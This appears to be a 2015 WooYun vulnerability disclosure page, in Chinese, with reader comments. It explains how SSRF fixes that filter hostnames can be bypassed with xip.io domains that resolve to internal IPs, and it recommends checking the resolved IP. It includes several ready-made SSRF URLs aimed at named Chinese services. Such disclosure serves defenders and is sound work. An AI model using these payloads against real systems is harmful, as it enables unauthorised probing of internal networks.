漏洞概要
关注数(24)
关注此漏洞
漏洞标题:乌云多数已修复SSRF漏洞可被绕过
提交时间:2015-03-03 00:11
修复时间:2015-04-17 00:12
公开时间:2015-04-17 00:12
漏洞类型:设计缺陷/逻辑错误
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
无
漏洞详情
披露状态:
2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-17: 细节向公众公开
简要描述:
思路猥琐,绕过厂商以为完美修复的绝对防御,再附赠一个绝对防御方法。
让雷把我劈死吧。
详细说明:
针对SSRF漏洞,一般修复的时候是获取到提交的url,获得hosts,判断host是否为内网ip。
于是有这种情况:
例如http://127.0.0.1/asd.html,修复时容易出现的获取host时以/分割来确定host。
但这样可以用http://abc@127.0.0.1/这样绕过。例如: WooYun: 人人网某处SSRF漏洞可猜解内网
或者加一个端口绕过。例如: WooYun: 内网编织者百度内网手动编织!
所以这种情况需要进一步过滤,取@后面的内容和端口后作为host进行判断。
大部分厂商修复的时候都是按照这样的思路。所以出现了下面的绕过方法。
如果把test.com指向内网地址,则完全可以提交test.com绕过前面的过滤,探测内网。
搜索了一下wooyun有史以来提交的SSRF,进行验证。
很多厂商直接取消了相应功能,还有部分成功修复漏洞,但只占少数。
先科普一下一个可以指向任意ip的域名:xip.io
用法:
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
于是测试了一下,以下地址SSRF漏洞可被绕过。
http://tp.chinaso.com/web?url=http://www.10.10.0.179.xip.io&fr=client
http://widget.renren.com/dialog/share?resourceUrl=http://www.10.10.16.224.xip.io
http://share.renren.com/share/buttonshare.do?link=http://www.10.10.16.224.xip.io
http://note.youdao.com/memory/?url=http://www.10.120.182.20aaa.xip.io
http://qing.blog.sina.com.cn/blog/controllers/share.php?url=www.127.0.0.1.xip.io/asd.html
漏洞证明:
修复方案:
针对SSRF的修复,可以直接获取url对应的ip,如果是ip,返回的依然是ip,域名则返回对应ip,然后再对ip进行判断是否为内网ip,即可防御SSRF内网探测。
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2015-03-06 22:00
厂商回复:
最新状态:
暂无
漏洞评价:
评论
-
2015-03-03 00:33 |
zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
-
2015-03-03 00:44 |
Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)
@zcy 302是不可能实现的,因为服务端只请求一次提交的url,返回了302会直接返回给用户。
-
2015-03-03 00:58 |
Hancock ( 普通白帽子 | Rank:352 漏洞数:68 )
-
2015-03-03 01:02 |
Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)
@Hancock 短地址同样是属于跳转,需要二次请求
-
2015-03-03 01:05 |
zcy ( 实习白帽子 | Rank:93 漏洞数:15 )
-
2015-03-03 07:55 |
bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)
-
2015-03-03 08:59 |
齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)
-
2015-03-03 09:06 |
蜉蝣 ( 实习白帽子 | Rank:93 漏洞数:24 )
-
2015-03-03 09:14 |
Vinc ( 普通白帽子 | Rank:120 漏洞数:22 | :))
-
2015-03-03 09:29 |
he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)
-
2015-03-03 09:45 |
泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)
-
2015-03-03 10:02 |
紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)
-
2015-03-03 10:21 |
Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)
-
2015-03-03 10:39 |
无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)
-
2015-03-04 20:00 |
末影人 ( 实习白帽子 | Rank:35 漏洞数:9 | 末影人(Enderman)是一个三个方格高的人形生...)
-
2015-03-06 22:30 |
pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )
-
2015-03-06 23:36 |
Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)
-
2015-03-07 00:37 |
scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)
-
2015-03-07 08:25 |
炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)
-
2015-03-07 16:31 |
Fire ant ( 实习白帽子 | Rank:73 漏洞数:26 | 他们回来了................)
-
2015-03-08 18:15 |
炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)
-
2015-03-08 22:13 |
jsbug ( 普通白帽子 | Rank:117 漏洞数:16 )
-
2015-03-16 23:03 |
齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者,关注web安全。)
-
2015-03-22 10:09 |
梧桐雨 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)
-
2015-03-27 11:13 |
BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )
-
2015-03-27 11:17 |
BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )
@梧桐雨 莫非这个网站的DNS是这么配置的,以这种格式去查询的dns请求都返回一个可控的地址,这样就可以控制DNS请求的结果,而SSRF端又没有对查询返回的结果进行判断?
-
2015-03-27 11:24 |
梧桐雨 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)
-
2015-03-27 11:30 |
BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )
@梧桐雨 看到了,但是一下没想请XIP.IO这个网站是怎么实现的,整理了一下,你看看有什么问题:原本的防护思路:获取到提交的url,获得hosts文件记录,判断host是否为内网ip,如果不是则发起请求。如果没有hosts记录,就发起DNS查询,访问DNS查询返回的结果<这里没有判定DNS请求结果>获取提交的IP,判断是否为内网ip,如果不是则发起请求绕过思路:利用外部DNS服务器,控制DNS查询的返回内容。xip.ip这个网站接受某种格式的URL,或者二级域名,在DNS请求中返回其二级域名的IP,从而使得对该域名DNS请求的内容可控SSRF端在得到DNS请求的相应后,没有重新判定查询结果是否为内网IP,即发起请求针对SSRF的修复:直接获取url对应的ip,如果是ip,返回的依然是ip,域名则返回对应ip,然后再对ip进行判断是否为内网ip
-
2015-03-27 11:31 |
BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )
@梧桐雨 一句话,就是没有判定DNS查询的内容,认为DNS查询的结果都是外网的,而通过某种方式可以控制DNS请求的返回为内网
-
2015-03-27 12:18 |
Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)
@梧桐雨 @BMa 你们要不要这么露点啊,这个洞没加精我都郁闷死了
-
2015-03-27 12:26 |
梧桐雨 ( 核心白帽子 | Rank:1576 漏洞数:184 | 关注技术与网络安全)
@Mr .LZH 我没漏点哇,@BMa 差不多是这么个意思,挺不错的。
-
2015-03-27 19:03 |
炮灰乙 ( 路人 | Rank:6 漏洞数:4 | 我叫路人甲,我住在中国)
其实外部dns指向内网地址本来是很正常的,我就看见360一个二级域名ping出来10开头。这应该被考虑到
-
2015-04-17 10:35 |
M4st ( 路人 | Rank:0 漏洞数:1 | 淡退安全 创业Ing~~)
-
2015-06-12 18:19 |
imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )